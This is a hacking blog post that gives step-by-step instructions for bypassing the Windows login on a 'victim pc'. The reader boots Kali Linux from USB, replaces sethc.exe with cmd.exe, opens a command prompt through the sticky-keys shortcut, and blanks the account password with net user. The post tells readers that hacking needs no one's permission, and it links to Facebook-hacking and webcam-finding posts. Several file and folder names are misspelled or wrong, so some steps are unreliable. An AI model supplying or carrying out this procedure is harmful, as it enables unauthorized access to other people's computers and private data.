How To Create Backdoor In Kali Linux

How To Create Backdoor In Kali Linux

What is backdoor?

A backdoor is a method, often secret, to bypass normal authentication or encryption in an integrated computer system, product, or device (for example, a home router) or its implementation, e.g. as part of a cryptographic system, an algorithm, a chipset or a “computer homunculus” (such as Intel’s AMT technology). Backdoors are often used to provide remote access to a computer or access plain text in cryptographic systems.

A backdoor can take the form of a hidden part of a program that is used, a separate program (for example, Back Orifice can subvert the system via a rootkit) or code in the hardware firmware or parts of the program. who operate the system like Microsoft Windows. Although it is usually surreptitiously installed, in some cases the rear doors are deliberate and widely known. These types of backdoors may have “legitimate” uses, such as providing the manufacturer with a way to restore users’ passwords.

Also Read: How To Find Vulnerable Webcams Around The World

Default passwords (or other default credentials) can work as backdoors if the user does not change them. Some debug functions can also be used as backdoors if they are not removed in the final version.

Create Backdoor In Kali Linux


1)     4Gb Pendrive or Higher

2)     Kali Linux Operating System è  Click Here To Download Kali Linux

3)     1 & 2 Combined Kali Live USB

Kali Linux is the best option to create a backdoor because it enables Live Boot through which we can use it on my victim pc easily by carrying it and also 4gb Pendrive is enough

Here I will explain how to Create a backdoor using Kali Linux

If You Are Interested to Create a backdoor using Backtrack Here it is Mostly Both Are Same But Check It Out

Also Read: How To Hack Facebook Using Trusted Friends Method

[sociallocker id=1998]

Method I

Step 1: Open terminal and type the following command (after typing every code press enter)

Ø  cd /media

Ø  ls

Step 2:  Then your hard disk code will be shown (for ex: 28EC168..)

Every hard-disk have their own code

NOTE:   If you are not able to find the code, repeat the process again or click on places (which you can find above terminal icon) then in places click one “filesystem” a window will open where you can see the hard-disk code as a title in blue

Follow my Commands again (after typing every command press enter)

Ø  cd /media/(hard disk code name without brackets)

Ø  ls

(Actually, This “ls” will show you the list of folders and files present in the above-mentioned source or location)

Ø  cd /media/ hard disk code name /Windows

Ø  cd /media/ hard disk code name /Windows/System32

Ø  ls

Ø  cp cmd.exe sethc.exe

Here now what we did is changed seethe.exe to cmd.exe, now you can exit the terminal and reboot your system and open windows.

When login screen appears and asks for password press “Shift Key” 5 Times Continuously

Command Prompt will open

Then type the following commands in it

Net user (name of account or system)     Example::  net user Bhanu

And click enter 2 times – it will ask to enter a new password leave it blank

Reboot system again and now the system starts without asking for login password

This is how creating a backdoor Helps in hacking systems easily

This works on Kali Linux as well as Backtrack

Method II

Here is the second way of creating a Backdoor in Backtrack this is much more simple compared to the previous process

Ø Start your Kali Linux using Live USB

Ø  Got to places and you can see your drives there open it

Ø One is system reserved, do not touch it, open Your Local disk C

Ø In Local Disk: C you will find a folder named “Windows”

Ø And in that Open  “Windows 32” and search for “Cmd.exe”

Ø And rename it to “scthc.exe”

Ø That’s it the process is done

Now shutdown Kali Linux and Start Windows

Now windows asks for Login Password

Now Press “Shift Key” 5 Times continuously

Command Prompt will open

There type Net user (your pc name)

Ex: net user xyz

Now press enter two times, when it asks to enter password leave it black and restart the system, your victim pc opens without asking for password


That’s it a simple trick

==========    Hacking Don’t Need Agreements     ==========

Just Remember One Thing You Don’t Need To Seek Anyone’s Permission To Hack Anything Or Anyone As Long As It Is Ethical, This Is The Main Principle Of Official Hacker

            Thank You for Reading My Post, I Hope It Will Be Useful For You



  1. This blog was… how do I say it? Relevant!! Finally I have found something which helped me. Many thanks!


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